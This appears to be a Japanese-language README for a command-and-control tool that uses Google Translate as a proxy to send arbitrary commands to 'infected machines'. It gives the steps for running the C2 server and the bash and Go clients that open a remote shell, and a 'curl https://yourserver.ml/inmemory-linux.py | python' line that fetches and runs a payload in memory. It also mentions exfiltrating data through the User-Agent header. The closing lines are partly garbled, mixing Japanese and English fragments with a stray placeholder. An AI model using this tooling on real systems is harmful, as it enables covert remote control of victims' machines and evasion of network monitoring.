
このツールは、Google翻訳をプロキシとして使用し、感染したマシンに任意のコマンドを送信します。
[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2]
まず、VPSとドメインが必要です。ドメインはFreenomで無料のものを取得できます。
VPSでserver.pyを起動します
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
これにより、クライアントで使用される秘密鍵が提供されます。
サーバーが生成したドメインと秘密鍵を指定して、Google翻訳にアクセスできるコンピュータでクライアントを実行します。
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
名前付きパイプファイルを使用したインタラクティブシェルが使えるようになります。そうです、ディレクトリにcdできます。
まず、バイナリをダウンロードするかコンパイルする必要があります。その後の手順はbashクライアントと同じです。
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
このクライアントを使用すると、Linux、Mac、Windowsで実行できますが、まだインタラクティブシェルはありません。
このブログ記事を読んだ後、GTRSをメモリ内で実行するための簡単な適応を行いました。スクリプトinmemory-linux.py内のhostとkeyを編集し、サーバーにホストしてcurlで取得するだけです。
curl https://yourserver.ml/inmemory-linux.py | python
または、youtubeのアプローチを使用してスクリプトをホストすることもできます。
CODE_IS_CHEAP_SHOW_ME_THE_DEMO
.bashrcのような大きなファイルはおそらく読み取れません。Problem fixed using User-Agent header to sent datalibxml2-utilsにあるxmllintをインストールする必要があります。Problem fixed, now the client is write also in go.